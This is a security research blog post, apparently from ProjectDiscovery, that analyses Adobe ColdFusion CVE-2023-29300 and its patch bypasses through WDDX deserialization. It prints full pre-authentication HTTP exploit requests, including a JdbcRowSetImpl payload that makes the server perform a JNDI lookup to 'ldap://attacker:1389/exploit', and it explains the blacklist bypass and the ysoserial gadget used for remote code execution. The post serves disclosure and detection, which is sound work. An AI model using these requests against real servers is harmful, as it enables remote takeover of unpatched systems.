For the latest updates on CVE-2023-29300 / CVE-2023-38203 / CVE-2023-38204, see the updates section
Introduction
The Adobe ColdFusion, widely recognized for its robust web development capabilities, recently released a critical security update. The update specifically targeted three security issues, among them, CVE-2023-29300, a highly concerning pre-authentication Remote Code Execution (RCE) vulnerability. This vulnerability poses a significant threat, allowing malicious actors to execute arbitrary code on vulnerable Coldfusion 2018, 2021 and 2023 installations without the need for prior authentication.
In this blog post, we aim to provide a comprehensive analysis of CVE-2023-29300, shedding light on the nature of the vulnerabilities, and their potential impact, and sharing the journey of code review undertaken by our team.
What's in the patch?
In our research environment, an existing Adobe ColdFusion 2021 setup was already in place from our previous work. Upon discovering the availability of a new security update (version 7), we proceeded to install it after ensuring the backup of our current installation directory. The purpose of this installation was to perform a patch diff, enabling us to compare the changes made by the security update and rollback if necessary.
We conducted a git diff and observed notable changes in the coldfusion.wddx.DeserializerWorker.java
file.
This is a WDDX packet deserializer which is of XML type. Within the startElement
method of DeserializerWorker
we notice that a newly added validation is being performed via validateWddxFilter()
for struct
element.
java
1public void startElement(String name, AttributeList atts) throws SAXException {2try {3...4if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) {5validateWddxFilter(atts);6}7...8} catch (WddxDeserializationException e) {9throwSAXException(e);10}11}1213private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException {14String attributeType = atts.getValue("type");15validateBlockedClass(attributeType);16}1718private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException {19if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) {20throw new InvalidWddxPacketException();21}22}
The struct
element now includes a new check in its type
attribute, ensuring that the className begins with coldfusion
and passes additional secondary checks. The validateBlockedClass
function indicates that a fully qualified class name (FQCN) would be passed as the type attribute.
Parsing of WDDX Packet
After reviewing documentation and articles on WDDX, we have gained a basic understanding of the WDDX packet's structure. Now, let's delve into the parsing of this packet. Each WDDX element corresponds to a specific handler; for instance, the struct element is handled by the StructHandler. Since the changes were made in relation to the struct element, our focus shifted to parsing the WDDX struct element.
cli
1<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>
Through reading, debugging, and tracing various breakpoints, we comprehended the parsing process. It was observed that Java reflections are extensively used in certain code blocks, suggesting that user input will undergo reflection invocations.
This is the code flow of interesting part of the parsing process:
onEndElement() -> getClassBySignature() -> setBeanProperties()
Finding the Sink
In the onEndElement()
method, a check is performed on the m_strictType
field, which is set earlier in the code if the type attribute is provided in the struct element of the WDDX packet.
cli
1public void onEndElement() throws WddxDeserializationException {23if (this.m_strictType == null) {4setTypeAndValue(this.m_ht);5return;6}7try {8Class beanClass = getClassBySignature(this.m_strictType);9Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]);10setBeanProperties(bean, this.m_ht);11setTypeAndValue(bean);12} catch (Exception e) {13...14}15}
After passing this check, a call is made to getClassbySignature()
, which uses reflection to obtain the class instance. The class name is derived from user-controlled input m_strictType
, and the first and last characters are removed, possibly because the input is expected in the form of LclassName;
cli
1private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException {2char c = jniTypeSig.charAt(0);3switch (c) {4...5default:6String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);7return Class.forName(className);8}9}
Once we have the class name, reflection is used to access the constructor of the class, specifically the one with no arguments, and an instance of the class is instantiated. This instance is then passed to setBeanProperties()
, along with the user-controlled m_ht
field, which contains the WDDX variables.
java
1private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException {2Hashtable descriptors;3try {4BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class);5PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors();6descriptors = new Hashtable();7for (int i = 0; i < descriptorArray.length; i++) {8descriptors.put(descriptorArray[i].getName(), descriptorArray[i]);9}10} catch () {11...12}13for (String propName : props.keySet()) {14Object propValue = props.get(propName);15IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName);16if (indexedPropertyDescriptor != null) {17if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) {18...19} else {20Method method2 = indexedPropertyDescriptor.getWriteMethod();21if (method2 != null) {22try {23Class[] types2 = method2.getParameterTypes();24Object value2 = ObjectConverter.convert(propValue, types2[0]);25method2.invoke(bean, value2);26} catch () {27...28}29}30}31...32}33}34}
The getPropertyDescriptors()
method of BeanInfo
returns an array of PropertyDescriptor
objects. Each PropertyDescriptor
represents a property of the bean and contains information about the property's name, data type, and getter/setter methods. Eventually we see the usage of IndexedPropertyDescriptor, which has getReadMethod
and getWriteMethod
which corresponds to getter methods and setter methods respectively. We noticed that if the bean has any setter methods, it would be returned and finally being invoked on the bean via Java Reflections with variable's value as the only argument, these variables values comes from WDDX packet which is again, user controlled.
TL;DR: We have identified a vulnerability where a method of a class can be called under certain conditions:
- The class must have a public constructor with no arguments.
- The method must be a setter, indicated by its name starting with "set".
- The setter method must accept only one argument.
Having understood the vulnerable sink, we proceeded to the next step of identifying a pre-authentication source for this sink. During our analysis by searching through the decompiled codebase for WddxDeserializer
, we discovered a call from the FilterUtils
class.
Finding the Source
During our search through the decompiled codebase for WddxDeserializer, we found a reference to WddxDeserializer in the FilterUtils class.
cli
1public static Object WDDXDeserialize(String str) throws Throwable {2WddxDeserializer deserializer = new WddxDeserializer();3InputSource source = new InputSource(new StringReader(str));4return deserializer.deserialize(source);5}
Specifically, it is being used within the GetArgumentCollection
method. This method takes the request context as input and extracts the argumentCollection
parameter from either the form or query string. The retrieved input is then checked to determine if it is of JSON type. If it is not, the value is deserialized as a WDDX packet using the WDDXDeserialize()
call.
cli
1public static Map GetArgumentCollection(FusionContext context) throws Throwable {2Struct argumentCollection;3HttpServletRequest httpServletRequest = context.request;4String attr = (String) context.pageContext.findAttribute("url.argumentCollection");5if (attr == null) {6attr = (String) context.pageContext.findAttribute("form.argumentCollection");7}8if (attr == null) {9argumentCollection = new Struct();10} else {11String attr2 = attr.trim();12if (attr2.charAt(0) == '{') {13argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2);14} else {15argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here16}17}
Doing some reading on codebase and external articles from Rapid7 on previous CVEs, we realized that we require a valid CFC endpoint. In our case, a pre-auth CFC endpoint to trigger call to GetArgumentCollection
and eventually to our vulnerable sink, that is, the WDDXDeserialize()
.
Our sample request to reach WDDX StructHandler
would look like:
cli
1POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/22Host: localhost3Accept-Encoding: gzip, deflate4Accept: */*5Accept-Language: en-US;q=0.9,en;q=0.86User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.367Cache-Control: max-age=08Content-Type: application/x-www-form-urlencoded9Content-Length: 2751011argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xclassNamex'><var name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>/CFIDE/adminapi/accessmanager.cfc
To validate our primitive, we set up a JVM debugger and placed a breakpoint at the method invoke call. In order to confirm the vulnerability, we selected a simple class, java.util.Date
, that satisfies the specified requirements. This class has setter methods such as setDate
. We then created a WDDX packet resembling the following in the request:
cli
1POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/22Host: localhost3Accept-Encoding: gzip, deflate4Accept: */*5Accept-Language: en-US;q=0.9,en;q=0.86User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.367Cache-Control: max-age=08Content-Type: application/x-www-form-urlencoded9Content-Length: 2751011argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>
At this stage, we were able to confirm that a call to java.util.Date.setDate(our_input)
was successfully executed. Our next goal was to find a way to abuse this primitive for remote code execution.
Escalating JNDI Injection To RCE
After a few hours, we stumbled upon the class com.sun.rowset.JdbcRowSetImpl
, which fits our requirements. If a boolean argument is passed to the setAutoCommit()
method of this class, it performs a JNDI lookup on the dataSourceName, which can be set using the setDataSourceName()
method. This discovery led us to the realization that calling setDataSourceName()
followed by setAutoCommit()
would result in a JNDI injection vulnerability. It is to be noted that we're within a for loop while doing method invocations as such we are able to invoke multiple methods on the bean instance.
At this stage, we have escalated to a JNDI injection via WDDX deserialization, which opens up possibilities for remote code execution.
This is how the request would look like:
cli
1POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/22Host: localhost3Accept-Encoding: gzip, deflate4Accept: */*5Accept-Language: en-US;q=0.9,en;q=0.86User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.367Cache-Control: max-age=08Content-Type: application/x-www-form-urlencoded9Content-Length: 2751011argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
Looking at the class path, we noticed several libraries of which commons-beanutils-1.9.4
stands apart. We generated a ysoserial java deserialization payload for commons-beanutils
and binded it on a rogue LDAP server. Doing so resulted into a remote code execution on the Adobe ColdFusion 2021 (Update 6).
Nuclei template for CVE-2023-29300 is now available in Nuclei-Templates repository - HERE
You can run nuclei to scan for CVE-2023-29300, as shown below:
bash
1nuclei -id CVE-2023-29300 -list coldfusion_list.txt
Updates
At present, which is as of 2023-07-19, Adobe has issued two additional security updates to address the pre-authentication remote code execution (RCE) vulnerabilities that were inadvertently discovered and disclosed by us.
Date | Event |
---|---|
2023-07-11 | Adobe issues APSB23-40 security advisory for CVE-2023-29300. |
2023-07-12 | ProjectDiscovery publishes CVE analysis blog post on CVE-2023-29300. |
2023-07-13 | Original finder of CVE-2023-29300 alerts us to possible 0-day publication; Adobe Prod Security requests blog unpublishing. |
2023-07-14 | Adobe releases APSB23-41 security advisory to address CVE-2023-29300 bypass, now designated as CVE-2023-38203. |
2023-07-15 | We notify Adobe of a vulnerability in the patch, providing technical details. |
2023-07-18 | Adobe shares pre-release build for patch confirmation. |
2023-07-18 | Rapid7 publishes blog on active exploitation of Adobe ColdFusion RCE exploits, after our blog post, and their insights align closely with the actual situation except that at that time the latest release for CVE-2023-38203 was still vulnerable to the initial exploit. |
2023-07-19 | Adobe releases APSB23-47 security advisory to address the exploit, now assigned as CVE-2023-38204. |
So what happened?
In our analysis post on 2023-07-12, we initially assumed that the fix involved whitelisting only "coldfusion*" classes. However, this assumption was incorrect, we realized that we had overlooked a crucial function of the fix, WddxFilter.invoke(), nested within an if statement. This function prevented the invocation of certain blacklisted classes, these classes were reported by the original finder of CVE-2023-29300.
During our analysis, we found a class com.sun.rowset.JdbcRowSetImpl that had the potential for remote code execution (RCE), and this particular class was also not included in the blacklist/denylist. As a result, our blog post, which was originally intended to highlight an n-day exploit for CVE-2023-29300, turned out to be a 0-day exploit. Adobe promptly reached out to collaborate with us on addressing the situation and requested that we temporarily un-publish the blog.
Adobe released a new update blacklisting the discovered class, and assigning our analysis as CVE-2023-38203 on 2023-07-14.
However, much to our surprise, our previous exploits continued to work even after applying the CVE-2023-38203 patch. It was then that we realized our bypass wasn't limited to circumventing the blacklisted class; rather, it allowed us to entirely bypass the blacklist validation itself. This was a result of a classic time of check and time of use inconsistency. Probably Adobe could have used our nuclei template to validate their patch.
Furthermore, Adobe has recently released a new update that resolves the patch bypass issue and has assigned the vulnerability we identified as CVE-2023-38204 on 2023-07-19.
Now, let's delve into a detailed breakdown of what went wrong:
There seems to be a mistake in their filter matching process. When the input Lcom.sun.rowset.JdbcRowSetImpl;
is provided, it successfully matches and blocks the payload. The filter expects only the "L" and ";" characters, so it replaces them with an empty string. However, if the input is Xcom.sun.rowset.JdbcRowSetImplX
it does not find a match.
In DeserializationWorker:
java
1private void validateWddxFilter(AttributeList atts) {2String attributeType = atts.getValue("type");3if (attributeType.endsWith(";")) {4attributeType = attributeType.replace(";", "");5}6if (attributeType.startsWith("L")) {7String attributeTypeCopy = attributeType;8validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));9}10validateBlockedClass(attributeType);11}1213private void validateBlockedClass(String attributeType) {14if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && ... && WddxFilter.invoke(attributeType)) {15throw new InvalidWddxPacketException();16}17}
In StructHandler:
cli
1private static Class getClassBySignature(String jniTypeSig) {23char c = jniTypeSig.charAt(0);4switch (c) {5...6case 'E':7case 'G':8case 'H':9case 'K':10case 'L':11case 'M':12case 'N':13case 'O':14case 'P':15case 'Q':16case 'R':17case 'T':18case 'U':19case 'V':20case 'W':21case 'X':22case 'Y':23default:24String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);25return Class.forName(className);26...27}2829}
Although Xcom.sun.rowset.JdbcRowSetImplX
, is not a valid class name, they are performing substring operations that remove the first and last characters before using the class. However, during the check, they compare it to X<class name>X
which does not precisely match their filtered <class name>
. This inconsistency in the matching process leads to the bypass.
We promptly reported this inconsistency to Adobe, and they immediately began working on a fix. Prior to releasing a new update, Adobe collaborated with us by providing a pre-release build for us to validate the fixes. Upon testing, we were able to confirm that all the reported issues had been addressed in this patch assigning us with CVE-2023-38204.
It is important to clarify that our intention was never to publish a 0-day exploit or cause harm to ColdFusion customers. Our goal was to share information about a resolved vulnerability, raise awareness, and offer a Nuclei template for organizations to detect the vulnerability on their assets. Regrettably, during this process, we inadvertently disclosed a patch bypass, which was unintended.
This Tweet captures our thoughts:
We express our gratitude to Adobe for their understanding and collaboration throughout these situations and disclosures.
Adobe's comment:
Conclusion
In conclusion, our analysis revealed a significant vulnerability in the WDDX deserialization process within Adobe ColdFusion 2021 (Update 8). By exploiting this vulnerability, we were able to achieve remote code execution. The issue stemmed from a unsafe use of Java Reflection API that allowed the invocation of certain methods.
To exploit this vulnerability, typically, access to a valid CFC endpoint is necessary. However, if the default pre-auth CFC endpoints cannot be accessed directly due to ColdFusion lockdown mode, it is possible to combine this vulnerability with CVE-2023-29298. This combination enables remote code execution against a vulnerable ColdFusion instance, even when it is configured in locked-down mode.
By embracing Nuclei and participating in the open-source community or joining the Nuclei Cloud Beta program, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.
- Rahul Maini, Harsh Jaiswal @ ProjectDiscovery Research